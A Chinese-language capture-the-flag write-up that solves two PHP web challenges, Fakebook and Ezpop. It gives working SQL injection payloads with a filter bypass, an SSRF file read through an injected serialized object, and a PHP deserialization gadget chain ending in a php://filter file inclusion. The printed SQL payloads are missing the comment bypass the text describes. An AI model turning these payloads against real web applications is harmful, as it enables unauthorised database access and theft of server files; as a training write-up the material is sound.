题目链接:
[网鼎杯 2018]Fakebook
[MRCTF2020]Ezpop
[网鼎杯 2018]Fakebook
分析
SSRF
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents (){ return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
|
代码审计后发现UserInfo
类有SSRF
漏洞,可以使用file:///var/www/html/flag.php
这个payload
获取flag
(绝对路径是后面sql
注入泄漏出来的)。但是也会对$this->blog
进行过滤,所以不能在join
的时候直接通过blog
获得flag
。
sql
注入
这里黑名单中有union select
,使用内联注释符/**/
绕过,即等价的union/**/select
可以绕过。
爆列名
?no=-1 unIonselect 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' and table_name='users'--+
|
users
表中各字段的位置对应payload
中的1,group_concat(column_name),3,4
,所以后面我们的payload
应该在第四个位置
爆data
字段
?no=-1 unIonselect 1,group_concat(data),3,4 from users--+
|
反序列化
得到data
字段的内容后,再联系前面的UserInfo
类,二者应该是存在序列化与反序列化的关系。
data
段的内容是将UserInfo
类中的对象序列化后的结果,所以我们可以直接修改data
段中的blog
为file:///var/www/html/flag.php
,然后反序列化后UserInfo
类中的$this->blog
也就成了file:///var/www/html/flag.php
,成功绕过过滤
解题
构造如下payload
?no=-1 unIonselect 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:2:"jt";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users--+
|
成功注入,查看源码
点击url
得到flag
[MRCTF2020]Ezpop
源码:
class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
|
分析
魔术方法
__wakeup()
该魔术方法在反序列化的时候自动调用,为反序列化生成的对象做一些初始化操作。
对Show
类实例化一个对象赋给$a
,将其序列化再反序列化,即可触发。
<?php class Show { public $source; public function __wakeup(){ echo "__wakeup()"; } } $a = new Show(); unserialize(serialize($a)); ?>
|
直接反序列化O:4:"Hwaz":1:{s:2:"jt";N;}
,也会触发魔术方法__wakeup()
:
<?php class Show { public $source; public function __wakeup() { echo "__wakeup()"; } public function __toString() { echo "__toString()"; } } $a = 'O:4:"Hwaz":1:{s:2:"jt";N;}'; unserialize($a); ?>
|
__toString()
当类被当作字符串输出或被作为参数等调用时,会自动调用。
在__wakeup()
里,preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)
语句会将$this->source
当做字符串,使$this->source
成为一个类的对象,即可触发。
<?php class Show { public $source; public function __wakeup() { if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } public function __toString(){ echo "__toString()"; } } $a = new Show(); $a->source = new Show(); unserialize(serialize($a)); ?>
|
__get()
当访问类中的,不可访问的属性,或者是不存在的属性,会自动触发,__get()
必须要有参数。
__toString()
中的$this->str->source
是突破点。使$this->str
成为一个类的对象,只要这个类中不存在source
这个属性,即可触发。
<?php class Show{ public $source; public $str; public function __toString(){ return $this->str->source; } public function __wakeup(){ echo $this->source; } } class Test{ public $p; public function __get($key){ echo "__get()"; } } $a = new Show(); $a->source = new Show(); $a->source->str = new Test(); $pp = serialize($a); unserialize($pp); ?>
|
要特别注意的一点,虽然有$a = new Show()
,但是在$a->source = new Show()
后,后面所有的$a
需要用$a->source
代替。
__invoke()
当尝试以调用函数的方式调用一个对象时,方法会被自动调用。
在__get()
中,会把function()
当作函数调用,而$function = $this->p
,所以只需使$this->p
成为一个对象,即可触发。
<?php class Show{ public $source; public $str; public function __toString(){ return $this->str->source; } public function __wakeup(){ echo $this->source; } } class Test{ public $p; public function __get($key){ $function = $this->p; return $function(); } } class Modifier{ protected $var; public function __invoke(){ echo "__invoke()"; } } $a = new Show(); $a->source = new Show(); $a->source->str = new Test(); $a->source->str->p = new Modifier(); $pp = serialize($a); unserialize($pp); ?>
|
解题
触发__invoke()
后,便能调用append()
函数,进而调用include()
函数触发文件包含漏洞,再使参数$this->var
为php://filter/read=convert.base64-encode/resource=flag.php
传参即可拿到flag
。
<?php class Show{ public $source; public $str; public function __toString(){ echo "__toString()"; return $this->str->source; } public function __wakeup(){ echo $this->source; } } class Test{ public $p; public function __get($key){ echo "__get()"; } } class Modifier{ protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php'; } $a = new Show(); $a->source = new Show(); $a->source->str = new Test(); $a->source->str->p = new Modifier(); $pp = serialize($a); echo urlencode(serialize($a)); ?>
|
使用url
绕过,再对得到的内容进行base64
解码,即可得到flag
。
参考:
刷题[MRCTF2020]Ezpop
[MRCTF2020]Ezpop